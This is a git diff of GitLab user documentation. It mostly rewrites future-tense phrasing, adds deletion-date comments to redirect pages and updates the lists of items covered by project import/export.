https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/pipelines/settings.md b/doc/user/project/pipelines/settings.md index af4cbe13aba..f19f28743a8 100644 --- a/doc/user/project/pipelines/settings.md +++ b/doc/user/project/pipelines/settings.md @@ -3,3 +3,6 @@ redirect_to: '../../../ci/pipelines/settings.md' --- This document was moved to [another location](../../../ci/pipelines/settings.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/releases.md b/doc/user/project/releases.md index baa7a295273..6dd5a6f0b0d 100644 --- a/doc/user/project/releases.md +++ b/doc/user/project/releases.md @@ -3,3 +3,6 @@ redirect_to: 'releases/index.md' --- This document was moved to [another location](releases/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/repository/reducing_the_repo_size_using_git.md b/doc/user/project/repository/reducing_the_repo_size_using_git.md index 9f4dfe54c47..a25e2786193 100644 --- a/doc/user/project/repository/reducing_the_repo_size_using_git.md +++ b/doc/user/project/repository/reducing_the_repo_size_using_git.md @@ -87,7 +87,7 @@ download all the advertised refs. git push origin --force 'refs/heads/*' ``` - [Protected branches](../protected_branches.md) will cause this to fail. To proceed, you must + [Protected branches](../protected_branches.md) cause this to fail. To proceed, you must remove branch protection, push, and then re-enable protected branches. 1. To remove large files from tagged releases, force push your changes to all tags on GitLab: @@ -96,7 +96,7 @@ download all the advertised refs. git push origin --force 'refs/tags/*' ``` - [Protected tags](../protected_tags.md) will cause this to fail. To proceed, you must remove tag + [Protected tags](../protected_tags.md) cause this to fail. To proceed, you must remove tag protection, push, and then re-enable protected tags. 1. To prevent dead links to commits that no longer exist, push the `refs/replace` created by `git filter-repo`. @@ -131,7 +131,7 @@ To purge files from GitLab storage: tar xzf project-backup.tar.gz ``` - This will contain a `project.bundle` file, which was created by + This contains a `project.bundle` file, which was created by [`git bundle`](https://git-scm.com/docs/git-bundle). 1. Clone a fresh copy of the repository from the bundle: @@ -141,12 +141,12 @@ To purge files from GitLab storage: ``` 1. Using `git filter-repo`, purge any files from the history of your repository. Because we are - trying to remove internal refs, we will rely on the `commit-map` produced by each run to tell us + trying to remove internal refs, we rely on the `commit-map` produced by each run to tell us which internal refs to remove. NOTE: **Note:** `git filter-repo` creates a new `commit-map` file every run, and overwrite the `commit-map` from - the previous run. You will need this file from **every** run. Do the next step every time you run + the previous run. You need this file from **every** run. Do the next step every time you run `git filter-repo`. To purge all large files, the `--strip-blobs-bigger-than` option can be used: @@ -178,7 +178,7 @@ To purge files from GitLab storage: git push origin --force 'refs/heads/*' ``` - [Protected branches](../protected_branches.md) will cause this to fail. To proceed, you must + [Protected branches](../protected_branches.md) cause this to fail. To proceed, you must remove branch protection, push, and then re-enable protected branches. 1. To remove large files from tagged releases, force push your changes to all tags on GitLab: @@ -187,7 +187,7 @@ To purge files from GitLab storage: git push origin --force 'refs/tags/*' ``` - [Protected tags](../protected_tags.md) will cause this to fail. To proceed, you must remove tag + [Protected tags](../protected_tags.md) cause this to fail. To proceed, you must remove tag protection, push, and then re-enable protected tags. 1. To prevent dead links to commits that no longer exist, push the `refs/replace` created by `git filter-repo`. @@ -205,12 +205,12 @@ To purge files from GitLab storage: NOTE: **Note:** Safely cleaning the repository requires it to be made read-only for the duration of the operation. This happens automatically, but submitting the cleanup request -will fail if any writes are ongoing, so cancel any outstanding `git push` +fails if any writes are ongoing, so cancel any outstanding `git push` operations before continuing. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/19376) in GitLab 11.6. -Repository cleanup allows you to upload a text file of objects and GitLab will remove internal Git +Repository cleanup allows you to upload a text file of objects and GitLab removes internal Git references to these objects. You can use [`git filter-repo`](https://github.com/newren/git-filter-repo) to produce a list of objects (in a `commit-map` file) that can be used with repository cleanup. @@ -230,25 +230,25 @@ To clean up a repository: 1. Click **Start cleanup**. -This will: +This: -- Remove any internal Git references to old commits. -- Run `git gc` against the repository to remove unreferenced objects. Repacking your repository will temporarily - cause the size of your repository to increase significantly, because the old pack files are not removed until the +- Removes any internal Git references to old commits. +- Runs `git gc` against the repository to remove unreferenced objects. Repacking your repository temporarily + causes the size of your repository to increase significantly, because the old pack files are not removed until the new pack files have been created. -- Unlink any unused LFS objects currently attached to your project, freeing up storage space. -- Recalculate the size of your repository on disk. +- Unlinks any unused LFS objects currently attached to your project, freeing up storage space. +- Recalculates the size of your repository on disk. -You will receive an email notification with the recalculated repository size after the cleanup has completed. +GitLab sends an email notification with the recalculated repository size after the cleanup has completed. When using repository cleanup, note: - Project statistics are cached. You may need to wait 5-10 minutes to see a reduction in storage utilization. - Housekeeping prunes loose objects older than 2 weeks. This means objects added in the last 2 weeks - will not be removed immediately. If you have access to the + are not be removed immediately. If you have access to the [Gitaly](../../../administration/gitaly/index.md) server, you may run `git gc --prune=now` to prune all loose objects immediately. -- This process will remove some copies of the rewritten commits from GitLab's cache and database, +- This process removes some copies of the rewritten commits from GitLab's cache and database, but there are still numerous gaps in coverage and some of the copies may persist indefinitely. [Clearing the instance cache](../../../administration/raketasks/maintenance.md#clear-redis-cache) may help to remove some of them, but it should not be depended on for security purposes! @@ -290,7 +290,7 @@ history. We recommend the open-source community-maintained tool [`git filter-repo`](https://github.com/newren/git-filter-repo). NOTE: **Note:** -Until `git gc` runs on the GitLab side, the "removed" commits and blobs will still exist. You also +Until `git gc` runs on the GitLab side, the "removed" commits and blobs still exist. You also must be able to push the rewritten history to GitLab, which may be impossible if you've already exceeded the maximum size limit. @@ -304,7 +304,7 @@ increased, your only option is to: CAUTION: **Caution:** This process is not suitable for removing sensitive data like password or keys from your repository. -Information about commits, including file content, is cached in the database, and will remain +Information about commits, including file content, is cached in the database, and remain visible even after they have been removed from the repository. ## Troubleshooting diff --git a/doc/user/project/security_dashboard.md b/doc/user/project/security_dashboard.md index a3da1ec97d3..d9440e8deea 100644 --- a/doc/user/project/security_dashboard.md +++ b/doc/user/project/security_dashboard.md @@ -3,3 +3,6 @@ redirect_to: '../application_security/security_dashboard/index.md' --- This document was moved to [another location](../application_security/security_dashboard/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/settings/import_export.md b/doc/user/project/settings/import_export.md index 3e493f02392..417ad75a5b9 100644 --- a/doc/user/project/settings/import_export.md +++ b/doc/user/project/settings/import_export.md @@ -51,6 +51,9 @@ Note the following: then new branches associated with such merge requests will be created within a project during the import/export. Thus, the number of branches in the exported project could be bigger than in the original project. +- Deploy keys allowed to push to protected branches are not exported. Therefore, + you will need to recreate this association by first enabling these deploy keys in your + imported project and then updating your protected branches accordingly. ## Version history @@ -114,6 +117,7 @@ The following items will be exported: - LFS objects - Issue boards - Pipelines history +- Push Rules The following items will NOT be exported: @@ -123,7 +127,6 @@ The following items will NOT be exported: - Webhooks - Any encrypted tokens - Merge Request Approvers -- Push Rules - Awards NOTE: **Note:** diff --git a/doc/user/project/slash_commands.md b/doc/user/project/slash_commands.md index 1280524bc9b..5844861c91e 100644 --- a/doc/user/project/slash_commands.md +++ b/doc/user/project/slash_commands.md @@ -3,3 +3,6 @@ redirect_to: 'quick_actions.md' --- This document was moved to [user/project/quick_actions.md](quick_actions.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/status_page/index.md b/doc/user/project/status_page/index.md index 20bb23f1d6b..513c410a6f9 100644 --- a/doc/user/project/status_page/index.md +++ b/doc/user/project/status_page/index.md @@ -3,3 +3,6 @@ redirect_to: '../../../operations/incident_management/status_page.md' --- This document was moved to [status_page.md](../../../operations/incident_management/status_page.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/shortcuts.md b/doc/user/shortcuts.md index 6361aa856fe..d3e91b0a707 100644 --- a/doc/user/shortcuts.md +++ b/doc/user/shortcuts.md @@ -54,7 +54,7 @@ other keyboard shortcuts are disabled as explained above. ## Project These shortcuts are available from any page within a project. You must type them -relatively quickly to work, and they will take you to another page in the project. +relatively quickly to work, and they take you to another page in the project. | Keyboard Shortcut | Description | | --------------------------- | ----------- | @@ -87,7 +87,7 @@ These shortcuts are available when viewing issues and merge requests. | <kbd>a</kbd> | Change assignee. | | <kbd>m</kbd> | Change milestone. | | <kbd>l</kbd> | Change label. | -| <kbd>r</kbd> | Start writing a comment. If any text is selected, it will be quoted in the comment. Can't be used to reply within a thread. | +| <kbd>r</kbd> | Start writing a comment. If any text is selected, it is quoted in the comment. Can't be used to reply within a thread. | | <kbd>n</kbd> | Move to next unresolved discussion (merge requests only). | | <kbd>p</kbd> | Move to previous unresolved discussion (merge requests only). | | <kbd>]</kbd> or <kbd>j</kbd> | Move to next file (merge requests only). | @@ -153,6 +153,6 @@ These shortcuts are available when viewing [Epics](group/epics/index.md): | Keyboard Shortcut | Description | | ----------------- | ----------- | -| <kbd>r</kbd> | Start writing a comment. If any text is selected, it will be quoted in the comment. Can't be used to reply within a thread. | +| <kbd>r</kbd> | Start writing a comment. If any text is selected, it is quoted in the comment. Can't be used to reply within a thread. | | <kbd>e</kbd> | Edit description. | | <kbd>l</kbd> | Change label. | diff --git a/doc/user/upgrade_email_bypass.md b/doc/user/upgrade_email_bypass.md index 97d4b5e6a0a..5ed068d8793 100644 --- a/doc/user/upgrade_email_bypass.md +++ b/doc/user/upgrade_email_bypass.md @@ -27,7 +27,7 @@ sent within five minutes, with a link for users to re-confirm the subject email ## Do the confirmation emails expire? -The links in these re-confirmation emails expire after one day by default. Users who click an expired link will be asked to request a new re-confirmation email. Any user can request a new re-confirmation email from `http://gitlab.example.com/users/confirmation/new`. +The links in these re-confirmation emails expire after one day by default. Users who click an expired link are asked to request a new re-confirmation email. Any user can request a new re-confirmation email from `http://gitlab.example.com/users/confirmation/new`. ## Generate a list of affected users @@ -112,16 +112,16 @@ The command described in this section may activate users who have not properly c ## What about LDAP users? -LDAP Users will remain confirmed if all of the following conditions are met: +LDAP Users remain confirmed if all of the following conditions are met: - The ["User email confirmation at sign-up" option](../security/user_email_confirmation.md) is set to false. - The first sign-in is based on user LDAP credentials. - The user has added and verified [a secondary email address](profile/index.md#profile-settings) some time later. NOTE: **Note:** -Confirmation timestamps (primary vs. secondary) will be different. +Confirmation timestamps (primary vs. secondary) are different. -Users will be unconfirmed by the background migration if any of the following conditions are met: +Users remain unconfirmed by the background migration if any of the following conditions are met: - They [create an account through GitLab](profile/account/create_accounts.md). - They [swap their primary email address](profile/index.md#profile-settings) and verify it. |
